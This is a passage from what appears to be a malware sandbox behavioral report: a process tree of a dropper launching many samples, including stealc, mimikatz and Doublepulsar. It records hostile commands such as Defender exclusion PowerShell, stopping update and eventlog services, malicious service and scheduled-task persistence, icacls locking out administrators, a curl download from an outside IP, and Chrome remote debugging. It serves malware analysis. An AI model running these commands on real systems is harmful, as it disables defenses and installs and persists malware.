        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3068
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5960
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5800
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        8⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4952
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        8⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:6096
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        8⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:5992
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        8⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:5384
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS /wait
        8⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:6044
        
        C:\Users\Admin\AppData\Local\Temp\556119105.exe
        
        C:\Users\Admin\AppData\Local\Temp\556119105.exe
        7⤵
        
        PID:4844
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        8⤵
        
        PID:2092
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        9⤵
        
        PID:2216
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        8⤵
        
        PID:8100
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        9⤵
        
        PID:7528
        
        C:\Users\Admin\AppData\Local\Temp\2844210676.exe
        
        C:\Users\Admin\AppData\Local\Temp\2844210676.exe
        7⤵
        
        PID:1296
        
        C:\Users\Admin\AppData\Local\Temp\216715463.exe
        
        C:\Users\Admin\AppData\Local\Temp\216715463.exe
        7⤵
        
        PID:6876
        
        C:\Users\Admin\AppData\Local\Temp\207352392.exe
        
        C:\Users\Admin\AppData\Local\Temp\207352392.exe
        7⤵
        
        PID:7012
    - - C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE
        
        "C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE"
        5⤵
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: AddClipboardFormatListener
        Suspicious use of SetWindowsHookEx
        
        PID:5252
    - - C:\Users\Admin\Desktop\Files\Launcher.exe
        
        "C:\Users\Admin\Desktop\Files\Launcher.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:5452
    - - C:\Users\Admin\Desktop\Files\Neverlose%20Loader.exe
        
        "C:\Users\Admin\Desktop\Files\Neverlose%20Loader.exe"
        5⤵
        Executes dropped EXE
        
        PID:5664
    - - C:\Users\Admin\Desktop\Files\win.exe
        
        "C:\Users\Admin\Desktop\Files\win.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:7516
    - - C:\Users\Admin\Desktop\Files\resex.exe
        
        "C:\Users\Admin\Desktop\Files\resex.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:7864
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k move Cover Cover.bat & Cover.bat & exit
        6⤵
        
        PID:8044
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        
        PID:6736
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa.exe opssvc.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:6760
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        
        PID:6860
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "avastui.exe avgui.exe bdservicehost.exe ekrn.exe nswscsvc.exe sophoshealth.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:6880
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 377464
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4484
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "ComputerPlugScientistsAmazoncom" Oecd
        7⤵
        
        PID:6520
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Occur + ..\Leo + ..\Apnic + ..\Collections + ..\Jerry + ..\Agreed + ..\Precision z
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:6284
        
        C:\Users\Admin\AppData\Local\Temp\377464\Reproduction.pif
        
        Reproduction.pif z
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:7016
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        7⤵
        
        PID:7064
    - - C:\Users\Admin\Desktop\Files\loader.exe
        
        "C:\Users\Admin\Desktop\Files\loader.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:7136
      - C:\Users\Admin\AppData\Local\Temp\rhsgn_protected.exe
        
        "C:\Users\Admin\AppData\Local\Temp\rhsgn_protected.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:2088
        
        C:\Users\Admin\AppData\Local\Temp\ARA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ARA.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:6820
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\aUs3pwix5Vd1U6IYzTsfZ9E8dEV3MF.vbe"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:6720
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\WJgXY0RCE6WdWGoPyLk7f.bat" "
        9⤵
        
        PID:7984
        
        C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\Msblockreview.exe
        
        "C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\Msblockreview.exe"
        10⤵
        Drops file in Program Files directory
        Drops file in Windows directory
        
        PID:5280
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\ABNdhKLsdq.bat"
        11⤵
        
        PID:7280
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        12⤵
        
        PID:2900
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\chrome.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\chrome.exe"
        12⤵
        
        PID:6284
    - - C:\Users\Admin\Desktop\Files\client.exe
        
        "C:\Users\Admin\Desktop\Files\client.exe"
        5⤵
        Executes dropped EXE
        
        PID:3044
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "hyperhostvc" /tr '"C:\Users\Admin\AppData\Roaming\hyperhostvc.exe"' & exit
        6⤵
        
        PID:6444
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "hyperhostvc" /tr '"C:\Users\Admin\AppData\Roaming\hyperhostvc.exe"'
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:680
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7073.tmp.bat""
        6⤵
        
        PID:1432
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        7⤵
        Delays execution with timeout.exe
        
        PID:5036
        
        C:\Users\Admin\AppData\Roaming\hyperhostvc.exe
        
        "C:\Users\Admin\AppData\Roaming\hyperhostvc.exe"
        7⤵
        
        PID:6912
    - - C:\Users\Admin\Desktop\Files\2.exe
        
        "C:\Users\Admin\Desktop\Files\2.exe"
        5⤵
        
        PID:7944
    - - C:\Users\Admin\Desktop\Files\patcher.exe
        
        "C:\Users\Admin\Desktop\Files\patcher.exe"
        5⤵
        
        PID:1944
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c pHash.bat
        6⤵
        
        PID:6452
        
        C:\Windows\system32\curl.exe
        
        curl -o "pHash" "http://144.172.71.105:1338/nova_flow/patcher.exe?hash"
        7⤵
        
        PID:4232
    - - C:\Users\Admin\Desktop\Files\RedSystem.exe
        
        "C:\Users\Admin\Desktop\Files\RedSystem.exe"
        5⤵
        
        PID:6264
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6264 -s 1260
        6⤵
        Program crash
        
        PID:800
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6264 -s 1104
        6⤵
        Program crash
        
        PID:5160
    - - C:\Users\Admin\Desktop\Files\8fc809.exe
        
        "C:\Users\Admin\Desktop\Files\8fc809.exe"
        5⤵
        
        PID:4144
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 772
        6⤵
        Program crash
        
        PID:6284
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 820
        6⤵
        Program crash
        
        PID:8372
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 912
        6⤵
        Program crash
        
        PID:10024
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 920
        6⤵
        Program crash
        
        PID:8544
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 920
        6⤵
        Program crash
        
        PID:8852
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 1096
        6⤵
        Program crash
        
        PID:8876
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 1120
        6⤵
        Program crash
        
        PID:8304
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 1152
        6⤵
        Program crash
        
        PID:8816
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 1124
        6⤵
        Program crash
        
        PID:9536
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 1220
        6⤵
        Program crash
        
        PID:9072
      - C:\Users\Admin\AppData\Local\Temp\b739b37d80\Dctooux.exe
        
        "C:\Users\Admin\AppData\Local\Temp\b739b37d80\Dctooux.exe"
        6⤵
        
        PID:3368
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 588
        7⤵
        Program crash
        
        PID:3692
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 596
        7⤵
        Program crash
        
        PID:4004
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 612
        7⤵
        Program crash
        
        PID:5356
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 628
        7⤵
        Program crash
        
        PID:8764
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 768
        7⤵
        Program crash
        
        PID:1824
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 832
        7⤵
        Program crash
        
        PID:2436
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 848
        7⤵
        Program crash
        
        PID:5132
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 924
        7⤵
        Program crash
        
        PID:5452
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 948
        7⤵
        Program crash
        
        PID:9932
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 956
        7⤵
        Program crash
        
        PID:10716
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 924
        7⤵
        Program crash
        
        PID:10284
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 1204
        7⤵
        Program crash
        
        PID:10300
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 1264
        7⤵
        Program crash
        
        PID:9860
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 1428
        7⤵
        Program crash
        
        PID:10140
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 1428
        7⤵
        Program crash
        
        PID:11408
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 1492
        7⤵
        Program crash
        
        PID:11020
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 1592
        7⤵
        Program crash
        
        PID:10008
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 892
        7⤵
        Program crash
        
        PID:11492
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 828
        6⤵
        Program crash
        
        PID:6328
    - - C:\Users\Admin\Desktop\Files\mimikatz.exe
        
        "C:\Users\Admin\Desktop\Files\mimikatz.exe"
        5⤵
        
        PID:11632
    - - C:\Users\Admin\Desktop\Files\AnneSalt.exe
        
        "C:\Users\Admin\Desktop\Files\AnneSalt.exe"
        5⤵
        
        PID:12736
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k move Technique Technique.cmd & Technique.cmd & exit
        6⤵
        
        PID:2164
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        
        PID:12800
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa.exe opssvc.exe"
        7⤵
        
        PID:5492
    - - C:\Users\Admin\Desktop\Files\splwow64_1.exe
        
        "C:\Users\Admin\Desktop\Files\splwow64_1.exe"
        5⤵
        
        PID:6516
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c move Emotions Emotions.bat & Emotions.bat
        6⤵
        
        PID:8200
    - - C:\Users\Admin\Desktop\Files\qqq.exe
        
        "C:\Users\Admin\Desktop\Files\qqq.exe"
        5⤵
        
        PID:1412
      - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        6⤵
        
        PID:9812
    - - C:\Users\Admin\Desktop\Files\cccc2.exe
        
        "C:\Users\Admin\Desktop\Files\cccc2.exe"
        5⤵
        
        PID:8744
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:9304
    - - C:\Users\Admin\Desktop\Files\build11.exe
        
        "C:\Users\Admin\Desktop\Files\build11.exe"
        5⤵
        
        PID:6768
      - C:\Users\Admin\AppData\Local\Temp\onefile_6768_133762587136173962\stub.exe
        
        C:\Users\Admin\Desktop\Files\build11.exe
        6⤵
        
        PID:5312
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        7⤵
        
        PID:11896
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        7⤵
        
        PID:4340
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        8⤵
        
        PID:10768
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        7⤵
        
        PID:9724
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        
        PID:12212
    - - C:\Users\Admin\Desktop\Files\nurik.exe
        
        "C:\Users\Admin\Desktop\Files\nurik.exe"
        5⤵
        
        PID:1432
      - C:\Users\Admin\Desktop\Files\nurik.exe
        
        "C:\Users\Admin\Desktop\Files\nurik.exe"
        6⤵
        
        PID:7748
    - - C:\Users\Admin\Desktop\Files\newbundle.exe
        
        "C:\Users\Admin\Desktop\Files\newbundle.exe"
        5⤵
        
        PID:12968
    - - C:\Users\Admin\Desktop\Files\gagagggagagag.exe
        
        "C:\Users\Admin\Desktop\Files\gagagggagagag.exe"
        5⤵
        
        PID:8692
    - - C:\Users\Admin\Desktop\Files\sunset1.exe
        
        "C:\Users\Admin\Desktop\Files\sunset1.exe"
        5⤵
        
        PID:11564
    - - C:\Users\Admin\Desktop\Files\1111.exe
        
        "C:\Users\Admin\Desktop\Files\1111.exe"
        5⤵
        
        PID:10036
  - - C:\Users\Admin\Desktop\4363463463464363463463463.exe
      "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3996
    - - C:\Users\Admin\Desktop\Files\aa.exe
        
        "C:\Users\Admin\Desktop\Files\aa.exe"
        5⤵
        
        PID:6652
    - - C:\Users\Admin\Desktop\Files\11.exe
        
        "C:\Users\Admin\Desktop\Files\11.exe"
        5⤵
        
        PID:7364
      - C:\Windows\sysarddrvs.exe
        
        C:\Windows\sysarddrvs.exe
        6⤵
        
        PID:6708
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        7⤵
        
        PID:3716
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8000
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
        7⤵
        
        PID:6556
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        8⤵
        Launches sc.exe
        
        PID:6156
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        8⤵
        Launches sc.exe
        
        PID:8156
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        8⤵
        Launches sc.exe
        
        PID:5208
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        8⤵
        Launches sc.exe
        
        PID:2352
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS
        8⤵
        Launches sc.exe
        
        PID:4040
        
        C:\Users\Admin\AppData\Local\Temp\2405511270.exe
        
        C:\Users\Admin\AppData\Local\Temp\2405511270.exe
        7⤵
        
        PID:10464
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        8⤵
        
        PID:10640
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        9⤵
        
        PID:5396
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        8⤵
        
        PID:4840
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        9⤵
        
        PID:1372
        
        C:\Users\Admin\AppData\Local\Temp\2462617996.exe
        
        C:\Users\Admin\AppData\Local\Temp\2462617996.exe
        7⤵
        
        PID:2784
        
        C:\Users\Admin\AppData\Local\Temp\240317985.exe
        
        C:\Users\Admin\AppData\Local\Temp\240317985.exe
        7⤵
        
        PID:12128
        
        C:\Users\Admin\AppData\Local\Temp\2877715221.exe
        
        C:\Users\Admin\AppData\Local\Temp\2877715221.exe
        7⤵
        
        PID:12168
    - - C:\Users\Admin\Desktop\Files\Diamotrix.exe
        
        "C:\Users\Admin\Desktop\Files\Diamotrix.exe"
        5⤵
        
        PID:1872
      - C:\Windows\system32\svchost.exe
        
        "C:\Windows\system32\svchost.exe"
        6⤵
        
        PID:6776
      - C:\Windows\system32\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe"
        6⤵
        
        PID:6600
      - C:\Windows\system32\audiodg.exe
        
        "C:\Windows\system32\audiodg.exe"
        6⤵
        
        PID:6496
    - - C:\Users\Admin\Desktop\Files\zzzz1.exe
        
        "C:\Users\Admin\Desktop\Files\zzzz1.exe"
        5⤵
        
        PID:7152
      - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        6⤵
        
        PID:5348
    - - C:\Users\Admin\Desktop\Files\Doublepulsar-1.3.1.exe
        
        "C:\Users\Admin\Desktop\Files\Doublepulsar-1.3.1.exe"
        5⤵
        
        PID:7448
    - - C:\Users\Admin\Desktop\Files\run.exe
        
        "C:\Users\Admin\Desktop\Files\run.exe"
        5⤵
        
        PID:2856
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\6439.tmp\643A.tmp\643B.bat C:\Users\Admin\Desktop\Files\run.exe"
        6⤵
        
        PID:5456
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\GBClientApp\Wallpapers" /deny administrator:(OI)(CI)F /t /c
        7⤵
        Modifies file permissions
        
        PID:6612
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\GBClientApp\Wallpapers" /deny administrators:(OI)(CI)F /t /c
        7⤵
        Modifies file permissions
        
        PID:1692
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        7⤵
        
        PID:7804
        
        C:\Windows\system32\attrib.exe
        
        attrib -h "C:\Users\Administrator\Desktop\Google Chrome.exe"
        7⤵
        Views/modifies file attributes
        
        PID:6792
        
        C:\Windows\system32\attrib.exe
        
        attrib -h "C:\Users\Administrator\Desktop\Coc Coc.exe"
        7⤵
        Views/modifies file attributes
        
        PID:6716
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        7⤵
        
        PID:9716
        
        C:\Windows\system32\schtasks.exe
        
        SchTasks /Delete /TN "\Microsoft\Windows\Task Manager\Interactive" /F
        7⤵
        
        PID:9564
        
        C:\Windows\system32\schtasks.exe
        
        SchTasks /Delete /TN "\Microsoft\Windows\USB\Usb-Notifications" /F
        7⤵
        
        PID:4340
        
        C:\Windows\system32\schtasks.exe
        
        SchTasks /Delete /TN "\Microsoft\Windows\Feedback\Siuf\DmClient" /F
        7⤵
        
        PID:8668
        
        C:\Windows\system32\schtasks.exe
        
        SchTasks /Delete /TN "Fix Getting Devices" /F
        7⤵
        
        PID:6092
        
        C:\Windows\system32\schtasks.exe
        
        SchTasks /Delete /TN "Windows Optimize" /F
        7⤵
        
        PID:9280
        
        C:\Windows\system32\schtasks.exe
        
        SchTasks /Delete /TN "ChangeWallpaper" /F
        7⤵
        
        PID:7592
    - - C:\Users\Admin\Desktop\Files\espsemhvcioff.exe
        
        "C:\Users\Admin\Desktop\Files\espsemhvcioff.exe"
        5⤵
        
        PID:10084
    - - C:\Users\Admin\Desktop\Files\BitcoinCore.exe
        
        "C:\Users\Admin\Desktop\Files\BitcoinCore.exe"
        5⤵
        
        PID:9996
    - - C:\Users\Admin\Desktop\Files\gaozw40v.exe
        
        "C:\Users\Admin\Desktop\Files\gaozw40v.exe"
        5⤵
        
        PID:3584
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "YIFRWLJF"
        6⤵
        Launches sc.exe
        
        PID:6164
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "YIFRWLJF" binpath= "C:\ProgramData\gaeucrwzinlx\bbwduuyjdzsp.exe" start= "auto"
        6⤵
        Launches sc.exe
        
        PID:10828
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        6⤵
        Launches sc.exe
        
        PID:5688
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "YIFRWLJF"
        6⤵
        Launches sc.exe
        
        PID:6032
    - - C:\Users\Admin\Desktop\Files\ExSync.exe
        
        "C:\Users\Admin\Desktop\Files\ExSync.exe"
        5⤵
        
        PID:11508
      - C:\Users\Admin\AppData\Local\Temp\ExSync.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ExSync.exe" -l "C:\Users\Admin\Desktop\Files\ExSync.exe"
        6⤵
        
        PID:10664
    - - C:\Users\Admin\Desktop\Files\stealc_default2.exe
        
        "C:\Users\Admin\Desktop\Files\stealc_default2.exe"
        5⤵
        
        PID:11992
    - - C:\Users\Admin\Desktop\Files\anne.exe
        
        "C:\Users\Admin\Desktop\Files\anne.exe"
        5⤵
        
        PID:2548
    - - C:\Users\Admin\Desktop\Files\peinf.exe
        
        "C:\Users\Admin\Desktop\Files\peinf.exe"
        5⤵
        
        PID:9768
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9768 -s 24492
        6⤵
        Program crash
        
        PID:7304
    - - C:\Users\Admin\Desktop\Files\TPB-1.exe
        
        "C:\Users\Admin\Desktop\Files\TPB-1.exe"
        5⤵
        
        PID:11240
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        6⤵
        Uses browser remote debugging
        
        PID:10112
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x11c,0x120,0x124,0x118,0x128,0x7ff8f9bbcc40,0x7ff8f9bbcc4c,0x7ff8f9bbcc58
        7⤵
        
        PID:5828
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1924,i,9774940444670258403,12290338603977143614,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=1908 /prefetch:2
        7⤵
        
        PID:12536
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1828,i,9774940444670258403,12290338603977143614,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=2168 /prefetch:3
        7⤵
        
        PID:12188
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
